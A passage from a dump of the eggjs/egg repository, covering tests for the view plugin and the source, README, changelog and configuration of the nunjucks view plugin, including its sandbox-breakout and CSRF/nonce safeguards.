it('should throw when viewEngine do not exist', () => {\n        expect(() => {\n          (app.view as any).use('a');\n        }).toThrow(/viewEngine is required/);\n      });\n\n      it('should throw when name has been registered', () => {\n        class View extends ViewEngineBase {\n          render(): Promise<string> {\n            return Promise.resolve('');\n          }\n          renderString(): Promise<string> {\n            return Promise.resolve('');\n          }\n        }\n        app.view.use('b', View);\n        expect(() => {\n          app.view.use('b', View);\n        }).toThrow(/b has been registered/);\n      });\n\n      it('should throw when not implement render', () => {\n        class View {}\n        expect(() => {\n          app.view.use('c', View as any);\n        }).toThrow(/viewEngine should implement `render` method/);\n      });\n\n      it('should throw when not implement render', () => {\n        class View {\n          render() {}\n        }\n        expect(() => {\n          app.view.use('d', View as any);\n        }).toThrow(/viewEngine should implement `renderString` method/);\n      });\n\n      it('should not support render generator function', () => {\n        class View {\n          *render() {\n            yield 'a';\n          }\n          *renderString() {\n            yield 'a';\n          }\n        }\n        expect(() => {\n          app.view.use('d', View as any);\n        }).toThrow(/viewEngine `render` method should not be generator function/);\n      });\n\n      it('should not support renderString generator function', () => {\n        class View {\n          render() {}\n          *renderString() {\n            yield 'a';\n          }\n        }\n        expect(() => {\n          app.view.use('d', View as any);\n        }).toThrow(/viewEngine `renderString` method should not be generator function/);\n      });\n\n      it('should register success', () => {\n        class View {\n          render() {}\n          renderString() {}\n        }\n        app.view.use('e', View as any);\n        expect(app.view.get('e')).toBe(View);\n      });\n    });\n\n    describe('render', () => {\n      it('should render ejs', async () => {\n        const res = await app.httpRequest().get('/render-ejs').expect(200);\n\n        expect(res.body.filename).toBe(path.join(baseDir, 'app/view/ext/a.ejs'));\n        expect(res.body.locals.data).toBe(1);\n        expect(res.body.options.opt).toBe(1);\n        expect(res.body.type).toBe('ejs');\n        const ctx = app.mockContext();\n        expect(typeof ctx.render).toBe('function');\n        expect(typeof ctx.renderString).toBe('function');\n        expect(typeof ctx.renderView).toBe('function');\n        expect(typeof ctx.view.render).toBe('function');\n      });\n\n      it('should render nunjucks', async () => {\n        const res = await app.httpRequest().get('/render-nunjucks').expect(200);\n\n        expect(res.body.filename).toBe(path.join(baseDir, 'app/view/ext/a.nj'));\n        expect(res.body.locals.data).toBe(1);\n        expect(res.body.options.opt).toBe(1);\n        expect(res.body.type).toBe('nunjucks');\n      });\n\n      it('should render with options.viewEngine', async () => {\n        const res = await app.httpRequest().get('/render-with-options').expect(200);\n\n        expect(res.body.filename).toBe(path.join(baseDir, 'app/view/ext/a.nj'));\n        expect(res.body.type).toBe('ejs');\n      });\n    });\n\n    describe('renderString', () => {\n      it('should renderString', async () => {\n        const res = await app.httpRequest().get('/render-string').expect(200);\n        expect(res.body.tpl).toBe('hello world');\n        expect(res.body.locals.data).toBe(1);\n        expect(res.body.options.viewEngine).toBe('ejs');\n        expect(res.body.type).toBe('ejs');\n      });\n\n      it('should throw when no viewEngine', async () => {\n        await app.httpRequest().get('/render-string-without-view-engine').expect(500);\n      });\n\n      it('should renderString twice', async () => {\n        await app.httpRequest().get('/render-string-twice').expect('a,b').expect(200);\n      });\n    });\n\n    describe('locals', () => {\n      it('should render with locals', async () => {\n        const res = await app.httpRequest().get('/render-locals').expect(200);\n        const locals = res.body.locals;\n        expect(locals.a).toBe(1);\n        expect(locals.b).toBe(2);\n        expect(locals.ctx);\n        expect(locals.request);\n        expect(locals.helper);\n      });\n\n      it('should renderString with locals', async () => {\n        const res = await app.httpRequest().get('/render-string-locals').expect(200);\n        const locals = res.body.locals;\n        expect(locals.a).toBe(1);\n        expect(locals.b).toBe(2);\n        expect(locals.ctx);\n        expect(locals.request);\n        expect(locals.helper).toBeDefined();\n      });\n\n      it('should render with original locals', async () => {\n        const res = await app.httpRequest().get('/render-original-locals').expect(200);\n        const locals = res.body.originalLocals;\n        expect(!locals.a);\n        expect(locals.b).toBe(2);\n        expect(!locals.ctx);\n        expect(!locals.request);\n        expect(!locals.helper);\n      });\n    });\n\n    describe('resolve', () => {\n      it('should loader without extension', async () => {\n        const res = await app.httpRequest().get('/render-without-ext').expect(200);\n        expect(res.body.filename).toBe(path.join(baseDir, 'app/view/loader/a.ejs'));\n      });\n\n      it('should throw when render file that extension is not configured', async () => {\n        await app\n          .httpRequest()\n          .get('/render-ext-without-config')\n          .expect(500)\n          .expect(/Can't find viewEngine for /);\n      });\n\n      it('should throw when render file without viewEngine', async () => {\n        await app\n          .httpRequest()\n          .get('/render-without-view-engine')\n          .expect(500)\n          .expect(/Can't find ViewEngine \"html\"/);\n      });\n\n      it('should load file from multiple root', async () => {\n        const res = await app.httpRequest().get('/render-multiple-root').expect(200);\n        expect(res.body.filename).toBe(path.join(baseDir, 'app/view2/loader/from-view2.ejs'));\n      });\n\n      it('should load file from multiple root when without extension', async () => {\n        const res = await app.httpRequest().get('/render-multiple-root-without-extenstion').expect(200);\n        expect(res.body.filename).toBe(path.join(baseDir, 'app/view2/loader/from-view2.ejs'));\n      });\n\n      it('should render load \"name\" before \"name + defaultExtension\" in multiple root', async () => {\n        const res = await app.httpRequest().get('/load-same-file').expect(200);\n        expect(res.body.filename).toBe(path.join(baseDir, 'app/view2/loader/a.nj'));\n      });\n\n      it('should load file that do not exist', async () => {\n        await app\n          .httpRequest()\n          .get('/load-file-noexist')\n          .expect(/Can't find noexist.ejs from/)\n          .expect(500);\n      });\n    });\n  });\n\n  describe('check root', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = mm.app({\n        baseDir: getFixtures('apps/check-root'),\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should check root config first', () => {\n      expect(app.view.config.root.length).toBe(0);\n    });\n  });\n\n  describe('async function', () => {\n    const baseDir = getFixtures('apps/multiple-view-engine');\n    let app: MockApplication;\n    beforeAll(() => {\n      app = mm.app({\n        baseDir: getFixtures('apps/multiple-view-engine'),\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should render', async () => {\n      const res = await app.httpRequest().get('/render-async').expect(200);\n\n      expect(res.body.filename).toBe(path.join(baseDir, 'app/view/ext/a.async'));\n      expect(res.body.type).toBe('async');\n    });\n\n    it('should renderString', async () => {\n      const res = await app.httpRequest().get('/render-string-async').expect(200);\n\n      expect(res.body.tpl).toBe('async function');\n      expect(res.body.type).toBe('async');\n    });\n  });\n\n  describe('defaultViewEngine', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = mm.app({\n        baseDir: getFixtures('apps/default-view-engine'),\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should render without viewEngine', async () => {\n      await app.httpRequest().get('/render').expect('ejs').expect(200);\n    });\n\n    it('should renderString without viewEngine', async () => {\n      await app.httpRequest().get('/render-string').expect('ejs').expect(200);\n    });\n  });\n\n  describe('cache enable', () => {\n    let app: MockApplication;\n    const viewPath = getFixtures('apps/cache/app/view1/home.nj');\n    beforeAll(() => {\n      app = mm.app({\n        baseDir: getFixtures('apps/cache'),\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n    afterAll(() => fs.writeFile(viewPath, 'a\\n'));\n\n    it('should cache', async () => {\n      let res = await app.httpRequest().get('/');\n      expect(res.text).toBe(viewPath);\n\n      await fs.unlink(viewPath);\n      res = await app.httpRequest().get('/');\n      expect(res.text).toBe(viewPath);\n    });\n  });\n\n  describe('cache disable', () => {\n    let app: MockApplication;\n    const viewPath1 = getFixtures('apps/cache/app/view1/home.nj');\n    const viewPath2 = getFixtures('apps/cache/app/view2/home.nj');\n    beforeAll(() => {\n      mm.env('local');\n      app = mm.app({\n        baseDir: getFixtures('apps/cache'),\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n    afterAll(() => fs.writeFile(viewPath1, ''));\n\n    it('should cache', async () => {\n      let res = await app.httpRequest().get('/');\n      expect(res.text).toBe(viewPath1);\n\n      await fs.unlink(viewPath1);\n      res = await app.httpRequest().get('/');\n      expect(res.text).toBe(viewPath2);\n    });\n  });\n\n  describe('options.root', () => {\n    let app: MockApplication;\n    const baseDir = getFixtures('apps/options-root');\n    beforeAll(() => {\n      app = mm.app({\n        baseDir: getFixtures('apps/options-root'),\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should return name and root', async () => {\n      let res = await app.httpRequest().get('/');\n\n      expect(res.body).toEqual({\n        fullpath: path.join(baseDir, 'app/view/sub/a.html'),\n        root: path.join(baseDir, 'app/view'),\n        name: 'sub/a.html',\n      });\n\n      res = await app.httpRequest().get('/absolute');\n\n      expect(res.body).toEqual({\n        fullpath: path.join(baseDir, 'app/view/sub/a.html'),\n        root: path.join(baseDir, 'app/view'),\n        name: '/sub/a.html',\n      });\n    });\n  });\n\n  describe('out of view path', () => {\n    let app: MockApplication;\n    beforeAll(() => {\n      app = mm.app({\n        baseDir: getFixtures('apps/out-of-path'),\n      });\n      return app.ready();\n    });\n    afterAll(() => app.close());\n\n    it('should 500 when filename out of path', async () => {\n      await app\n        .httpRequest()\n        .get('/render')\n        .expect(500)\n        .expect(/Can't find \\.\\.\\/a\\.html/);\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/view/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "plugins/view/vitest.config.ts",
    "content": "import { defineProject } from 'vitest/config';\n\nexport default defineProject({\n  test: {\n    testTimeout: 20000,\n    hookTimeout: 20000,\n  },\n});\n"
  },
  {
    "path": "plugins/view-nunjucks/.gitignore",
    "content": "dist\n*.log\nnode_modules\n.DS_Store\ncoverage\n.nyc_output\n*.tsbuildinfo\n"
  },
  {
    "path": "plugins/view-nunjucks/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 3.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n# 2.3.0 / 2021-01-14\n\n**features**\n\n- [[`ce30ac2`](http://github.com/eggjs/egg-view-nunjucks/commit/ce30ac2af2df119bfa24b1315fc0d2d8d0e94faa)] - feat: renderString support opts (#30) (抹桥 <<kisnows@users.noreply.github.com>>)\n\n**others**\n\n- [[`6bd618b`](http://github.com/eggjs/egg-view-nunjucks/commit/6bd618bc576d19f382c6f846d9832362aa00ca0c)] - chore: update travis (#28) (TZ | 天猪 <<atian25@qq.com>>)\n\n# 2.2.0 / 2018-03-29\n\n- feat: support ts filter (#27)\n\n# 2.1.6 / 2018-02-24\n\n- fix: nunjucks version to ^3.1.2 (#26)\n\n# 2.1.5 / 2018-02-23\n\n- fix: temporary hold nunjucks version to ~3.0.1 (#25)\n- fix: ci crash when disable plugin (#24)\n- chore: test 6.x (#23)\n- docs: update README with async and custom tag (#22)\n\n# 2.1.4 / 2017-09-19\n\n**fixes**\n\n- [[`e311ae7`](http://github.com/eggjs/egg-view-nunjucks/commit/e311ae77a538f28df018447d4619b3ec66a2e859)] - fix: forbidden sandbox breakout by using constructor (#20) (TZ | 天猪 <<atian25@qq.com>>)\n\n# 2.1.3 / 2017-06-30\n\n- docs: improve code block in markdown (#19)\n\n# 2.1.2 / 2017-06-01\n\n- fix: revert async filter support at #15 (#18)\n\n# 2.1.1 / 2017-05-10\n\n- fix: async filter break helper (#16)\n\n# 2.1.0 / 2017-04-28\n\n- feat: support async filter (#15)\n\n# 2.0.0 / 2017-02-22\n\n- feat: [BREAKING_CHANGE] depend on egg-view (#11)\n- test: add custom tag showcase (#10)\n- feat: fix ci and adjust with new egg-bin test (#9)\n\n# 1.0.0 / 2017-01-16\n\n- publish 1.0.0\n\n# 0.7.0 / 2017-01-13\n\n- chore: code style (#8)\n\n# 0.6.0 / 2016-11-03\n\n- chore: update deps and test on node v7 (#7)\n- test: change chai.js to power-assert (#6)\n\n# 0.5.0 / 2016-09-18\n\n- feat: use egg-security escape to override nunjucks buildin (#5)\n\n# 0.4.0 / 2016-09-13\n\n- deps: update nunjucks@2.5.1 for security (#4)\n\n# 0.3.0 / 2016-08-31\n\n- feat: [BREAKING_CHANGE] app/views -> app/view (#3)\n- feat: [BREAKING_CHANGE] config.view.dir support multiple with comma (#3)\n\n# 0.2.0 / 2016-08-17\n\n- feat: [BREAKING_CHANGE] use loader.getLoadUnits from egg-core (#2)\n\n# 0.1.0 / 2016-08-03\n\n- init project\n  - load `app/extend/filter.js`\n  - egg-security\n  - view helper\n  - fill nunjucks build-in filters to helper\n  - diff with @ali/nunjucks\n    - dep on latest nunjucks version\n    - loadpath -> dir\n    - not listen watcher event\n"
  },
  {
    "path": "plugins/view-nunjucks/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2017 Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "plugins/view-nunjucks/README.md",
    "content": "# @eggjs/view-nunjucks\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/view-nunjucks.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/view-nunjucks\n[snyk-image]: https://snyk.io/test/npm/@eggjs/view-nunjucks/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/view-nunjucks\n[download-image]: https://img.shields.io/npm/dm/@eggjs/view-nunjucks.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/view-nunjucks\n\n[nunjucks](http://mozilla.github.io/nunjucks/) view plugin for egg.\n\n## Install\n\n```bash\nnpm install @eggjs/view-nunjucks\n```\n\n## Usage\n\nEnable plugin in `config/plugin.ts`\n\n```ts\nimport nunjucksPlugin from '@eggjs/view-nunjucks';\n\nexport default {\n  ...nunjucksPlugin(),\n};\n```\n\nSet mapping in `config/config.default.ts`\n\n```ts\nimport { defineConfig } from 'egg';\n\nexport default defineConfig({\n  view: {\n    defaultViewEngine: 'nunjucks',\n    mapping: {\n      '.nj': 'nunjucks',\n    },\n  },\n});\n```\n\nRender in controller by `ctx.render`\n\n```ts\n// {app_root}/app/controller/test.ts\nimport { Controller } from 'egg';\n\nclass TestController extends Controller {\n  async list() {\n    const ctx = this.ctx;\n    // ctx.body = await ctx.renderString('{{ name }}', { name: 'local' });\n    // not need to assign `ctx.render` to `ctx.body`\n    // https://github.com/mozilla/nunjucks/blob/6f3e4a36a71cfd59ddc8c1fc5dcd77b8c24d83f3/nunjucks/src/environment.js#L318\n    await ctx.render(\n      'test.nj',\n      { name: 'view test' },\n      {\n        path: '***',\n      }\n    );\n  }\n}\n```\n\n## Features\n\n### Filter\n\n- `escape` filter is replaced by `helper.escape` which is provided by [@eggjs/security](https://github.com/eggjs/egg/tree/next/plugins/security) for better performance\n- Add your filters to `app/extend/filter.ts`, then they will be injected automatically to nunjucks\n\n```ts\n// {app_root}/app/extend/filter.ts\nexport const hello = (name: string) => `hi, ${name}`;\n\n// so you could use it at template\n// {app_root}/app/controller/test.ts\nimport { Controller } from 'egg';\n\nclass TestController extends Controller {\n  async list() {\n    const ctx = this.ctx;\n    ctx.body = await ctx.renderString(\n      '{{ name | hello }}',\n      { name: 'egg' },\n      {\n        path: '***',\n      }\n    );\n  }\n}\n```\n\n### Tag\n\nyou can extend custom tag like this:\n\n```ts\n// {app_root}/app/extend/application.ts\nimport type { Application, ILifecycleBoot } from 'egg';\nimport markdown from 'nunjucks-markdown';\nimport { marked } from 'marked';\n\nexport default class AppBoot implements ILifecycleBoot {\n  app: Application;\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  async didLoad(): Promise<void> {\n    markdown.register(app.nunjucks, marked);\n  }\n}\n```\n\n### Security\n\nsee [@eggjs/security](https://github.com/eggjs/egg/tree/next/plugins/security)\n\n- auto inject `_csrf` attr to form field\n- auto inject `nonce` attr to script tag\n\n### Helper / Locals\n\n- you can use `helper/ctx/request` in template, such as `helper.shtml('<div></div>')`\n- nunjucks build-in filters is injected to helper, such as `helper.upper('test')`\n- `helper.shtml/surl/sjs/escape` is auto wrapped with `safe`\n\n### More\n\n- `app.nunjucks` - nunjucks environment\n- `app.nunjucks.cleanCache(fullPath/tplName)` to easy clean cache, can use with custom [@eggjs/watcher](https://github.com/eggjs/egg/tree/next/plugins/watcher)\n\n## Configuration\n\nsee [config/config.default.ts](https://github.com/eggjs/egg/blob/next/plugins/view-nunjucks/src/config/config.default.ts) for more details.\n\n## Questions & Suggestions\n\nPlease open an issue [here](https://github.com/eggjs/egg/issues).\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "plugins/view-nunjucks/package.json",
    "content": "{\n  \"name\": \"@eggjs/view-nunjucks\",\n  \"version\": \"3.0.2-beta.5\",\n  \"description\": \"nunjucks view plugin for egg\",\n  \"keywords\": [\n    \"egg\",\n    \"egg-plugin\",\n    \"egg-view\",\n    \"eggPlugin\",\n    \"nunjucks\",\n    \"template\",\n    \"view\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/plugins/view-nunjucks#readme\",\n  \"bugs\": \"https://github.com/eggjs/egg/issues\",\n  \"license\": \"MIT\",\n  \"author\": \"TZ <atian25@qq.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"plugins/view-nunjucks\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./app\": \"./src/app.ts\",\n    \"./app/extend/application\": \"./src/app/extend/application.ts\",\n    \"./config/config.default\": \"./src/config/config.default.ts\",\n    \"./config/config.local\": \"./src/config/config.local.ts\",\n    \"./lib/engine\": \"./src/lib/engine.ts\",\n    \"./lib/environment\": \"./src/lib/environment.ts\",\n    \"./lib/file_loader\": \"./src/lib/file_loader.ts\",\n    \"./lib/helper\": \"./src/lib/helper.ts\",\n    \"./lib/view\": \"./src/lib/view.ts\",\n    \"./types\": \"./src/types.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./app\": \"./dist/app.js\",\n      \"./app/extend/application\": \"./dist/app/extend/application.js\",\n      \"./config/config.default\": \"./dist/config/config.default.js\",\n      \"./config/config.local\": \"./dist/config/config.local.js\",\n      \"./lib/engine\": \"./dist/lib/engine.js\",\n      \"./lib/environment\": \"./dist/lib/environment.js\",\n      \"./lib/file_loader\": \"./dist/lib/file_loader.js\",\n      \"./lib/helper\": \"./dist/lib/helper.js\",\n      \"./lib/view\": \"./dist/lib/view.js\",\n      \"./types\": \"./dist/types.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"nunjucks\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/view\": \"workspace:*\",\n    \"@types/common-tags\": \"catalog:\",\n    \"@types/nunjucks\": \"catalog:\",\n    \"cheerio\": \"catalog:\",\n    \"common-tags\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"marked\": \"catalog:\",\n    \"nunjucks-markdown\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"@eggjs/view\": \"workspace:*\",\n    \"egg\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "plugins/view-nunjucks/src/app/extend/application.ts",
    "content": "import { Application } from 'egg';\n\nimport { createEngine } from '../../lib/engine.ts';\nimport type { NunjucksEnvironment } from '../../lib/environment.ts';\n\nconst NUNJUCKS = Symbol('app#nunjucks');\n\nexport default class NunjucksApplication extends Application {\n  /**\n   * nunjucks environment\n   * @see https://mozilla.github.io/nunjucks/api.html#environment\n   */\n  get nunjucks(): NunjucksEnvironment {\n    if (!this[NUNJUCKS]) {\n      this[NUNJUCKS] = createEngine(this);\n    }\n    return this[NUNJUCKS] as NunjucksEnvironment;\n  }\n}\n"
  },
  {
    "path": "plugins/view-nunjucks/src/app.ts",
    "content": "import type { Application, ILifecycleBoot } from 'egg';\n\nimport { NunjucksView } from './lib/view.ts';\n\nexport default class ViewNunjucksAppBoot implements ILifecycleBoot {\n  app: Application;\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  configDidLoad(): void {\n    this.app.view.use('nunjucks', NunjucksView);\n  }\n\n  async didLoad(): Promise<void> {\n    await this.app.nunjucks.ready();\n  }\n}\n"
  },
  {
    "path": "plugins/view-nunjucks/src/config/config.default.ts",
    "content": "export interface NunjucksConfig {\n  /**\n   * Controls if output with dangerous characters are escaped automatically\n   * @default true\n   */\n  autoescape: boolean;\n  /**\n   * Throw errors when outputting a null/undefined value\n   * @default false\n   */\n  throwOnUndefined: boolean;\n  /**\n   * Automatically remove trailing newlines from a block/tag\n   * @default false\n   */\n  trimBlocks: boolean;\n  /**\n   * Automatically remove leading whitespace from a block/tag\n   * @default false\n   */\n  lstripBlocks: boolean;\n  /**\n   * Use a cache and recompile templates each time. false in local env.\n   * @default true\n   */\n  cache: boolean;\n  /**\n   * Internal property set by engine, do not set directly\n   * @internal\n   */\n  noCache?: boolean;\n}\n\nexport default {\n  nunjucks: {\n    autoescape: true,\n    throwOnUndefined: false,\n    trimBlocks: false,\n    lstripBlocks: false,\n    cache: true,\n  } as NunjucksConfig,\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/src/config/config.local.ts",
    "content": "import type { NunjucksConfig } from './config.default.ts';\n\nexport default {\n  nunjucks: {\n    cache: false,\n  } as Partial<NunjucksConfig>,\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/src/index.ts",
    "content": "import './types.ts';\nimport { definePluginFactory, type EggPluginFactory } from 'egg';\n\nexport default definePluginFactory({\n  name: 'nunjucks',\n  enable: true,\n  path: import.meta.dirname,\n  dependencies: ['security', 'view'],\n}) as EggPluginFactory;\n\nexport { NunjucksEnvironment } from './lib/environment.ts';\nexport { NunjucksFileLoader } from './lib/file_loader.ts';\nexport { createHelper } from './lib/helper.ts';\nexport { NunjucksView } from './lib/view.ts';\nexport { createEngine } from './lib/engine.ts';\nexport type { NunjucksConfig } from './config/config.default.ts';\n"
  },
  {
    "path": "plugins/view-nunjucks/src/lib/engine.ts",
    "content": "import type { Application } from 'egg';\n\nimport { NunjucksEnvironment } from './environment.ts';\n\n/**\n * Create nunjucks environment\n * @param app - application instance\n * @returns nunjucks environment instance\n */\nexport function createEngine(app: Application): NunjucksEnvironment {\n  const coreLogger = app.loggers.coreLogger;\n\n  const viewPaths = app.config.view.root;\n  coreLogger.info('[@eggjs/view-nunjucks] loading templates from %j', viewPaths);\n\n  const config = app.config.nunjucks as any;\n  config.noCache = !config.cache;\n  delete config.cache;\n\n  return new NunjucksEnvironment(app);\n}\n"
  },
  {
    "path": "plugins/view-nunjucks/src/lib/environment.ts",
    "content": "import path from 'node:path';\n\nimport type { Application } from 'egg';\nimport nunjucks from 'nunjucks';\n\nimport { NunjucksFileLoader } from './file_loader.ts';\nimport { createHelper } from './helper.ts';\n\n/**\n * Extend nunjucks environment, see {@link https://mozilla.github.io/nunjucks/api.html#environment}\n */\nexport class NunjucksEnvironment extends nunjucks.Environment {\n  app: Application;\n  ViewHelper: ReturnType<typeof createHelper>;\n\n  constructor(app: Application) {\n    const fileLoader = new NunjucksFileLoader(app);\n    super(fileLoader as any, app.config.nunjucks);\n\n    this.app = app;\n\n    // monkey patch `escape` with `app.Helper.prototype.escape` provided by `egg-security` for better performance\n    (nunjucks.lib as any).escape = app.Helper.prototype.escape;\n\n    // http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine\n    // @ts-expect-error missing memberLookup type definition\n    const originMemberLookup = nunjucks.runtime.memberLookup;\n    // @ts-expect-error missing memberLookup type definition\n    nunjucks.runtime.memberLookup = function (...args: any[]): any {\n      const val = args[1];\n      if (val === 'prototype' || val === 'constructor') return null;\n      return originMemberLookup(...args);\n    };\n\n    // @ts-expect-error missing filters type definition\n    this.ViewHelper = createHelper(app, this.filters);\n  }\n\n  /**\n   * clean template cache\n   * @param name - full path\n   * @return clean count\n   */\n  cleanCache(name?: string): number {\n    let count = 0;\n    const loaders = (this as any).loaders;\n    for (const loader of loaders) {\n      if (name) {\n        // support full path && tpl name\n        /* istanbul ignore else */\n        if ((loader as any).cache[name]) {\n          count++;\n          (loader as any).cache[name] = null;\n        }\n      } else {\n        for (const cacheName in (loader as any).cache) {\n          count++;\n          (loader as any).cache[cacheName] = null;\n        }\n      }\n    }\n    return count;\n  }\n\n  async ready(): Promise<void> {\n    await this.loadFilter();\n  }\n\n  // load `app/extend/filter.js` from app/framework/plugin into nunjucks\n  private async loadFilter(): Promise<void> {\n    for (const unit of this.app.loader.getLoadUnits()) {\n      const filterPath = this.app.loader.resolveModule(path.join(unit.path, 'app/extend/filter'));\n      if (!filterPath) continue;\n      const filters = await this.app.loader.loadFile(filterPath);\n      if (!filters) continue;\n      const filterKeys = Object.keys(filters);\n      for (const key of filterKeys) {\n        this.addFilter(key, filters[key]);\n      }\n      this.app.coreLogger.info('[@eggjs/view-nunjucks] load filter %j from %s', filterKeys, filterPath);\n    }\n  }\n}\n"
  },
  {
    "path": "plugins/view-nunjucks/src/lib/file_loader.ts",
    "content": "import type { Application } from 'egg';\nimport { FileSystemLoader } from 'nunjucks';\n\n/**\n * Extended nunjucks FileSystemLoader, will auto inject csrf && nonce\n */\nexport class NunjucksFileLoader extends FileSystemLoader {\n  private app: Application;\n\n  /**\n   * @param app - application instance\n   */\n  constructor(app: Application) {\n    super(app.config.view.root, { noCache: app.config.nunjucks.noCache });\n    this.app = app;\n  }\n\n  /**\n   * Override getSource {@link https://mozilla.github.io/nunjucks/api.html#writing-a-loader},\n   * inject csrfTag and nonce\n   * @param name - the name of the template\n   * @return html\n   */\n  override getSource(name: string): any {\n    const result = super.getSource(name);\n    /* istanbul ignore else */\n    if (result) {\n      const config = this.app.config.security;\n      // auto inject `_csrf` attr to form field, rely on `app.injectCsrf` provided by `security` plugin\n      if (!(config.csrf === false || config.csrf.enable === false)) {\n        result.src = this.app.injectCsrf(result.src);\n      }\n      // auto inject `nonce` attr to script tag, rely on `app.injectNonce` provided by `security` plugin\n      if (!(config.csp === false || config.csp.enable === false)) {\n        result.src = this.app.injectNonce(result.src);\n      }\n    }\n    return result;\n  }\n}\n"
  },
  {
    "path": "plugins/view-nunjucks/src/lib/helper.ts",
    "content": "import type { Application, Context } from 'egg';\n\ntype BuildInFilters = Record<string, any>;\n\n// Define the return type of createHelper\ntype HelperClass = new (ctx: Context) => any;\n\n/**\n * Create NunjucksViewHelper class\n * @param app - application instance\n * @param buildInFilters - nunjucks built-in filters\n * @returns NunjucksViewHelper class\n */\nexport function createHelper(app: Application, buildInFilters: BuildInFilters): HelperClass {\n  /**\n   * NunjucksViewHelper extends {@link Helper} for nunjucks templates.\n   * Wrap some helpers for safe string, and transform build-in filters to helpers\n   */\n  class NunjucksViewHelper extends app.Helper {\n    constructor(ctx: Context) {\n      super(ctx);\n    }\n\n    /**\n     * See {@link Helper#shtml}\n     * @param str - the string that will be transformed to safe html\n     * @return the result\n     */\n    shtml(str: string): any {\n      return this.safe(super.shtml(str));\n    }\n\n    /**\n     * See {@link Helper#surl}\n     * @param str - the string that will be transformed to safe url\n     * @return the result\n     */\n    surl(str: string): any {\n      return this.safe(super.surl(str));\n    }\n\n    /**\n     * See {@link Helper#sjs}\n     * @param str - the string that will be transformed to safe js\n     * @return the result\n     */\n    sjs(str: string): any {\n      return this.safe(super.sjs(str));\n    }\n\n    /**\n     * don't use `super.helper.escape` directly due to `SafeString` checking\n     * see https://github.com/mozilla/nunjucks/blob/master/src/filters.js#L119\n     * buildInFilters.escape is `nunjucks.filters.escape` which will call `nunjucks.lib.escape`\n     * and `nunjucks.lib.escape` is overrided by `app.Helper.escape` for better performance\n     * @param str - the string that will be escaped\n     * @return the result\n     */\n    escape(str: string): string {\n      return buildInFilters.escape(str);\n    }\n\n    /**\n     * get hidden filed for `csrf`\n     * @return html string\n     */\n    csrfTag(): any {\n      return this.safe(`<input type=\"hidden\" name=\"_csrf\" value=\"${this.ctx.csrf}\" />`);\n    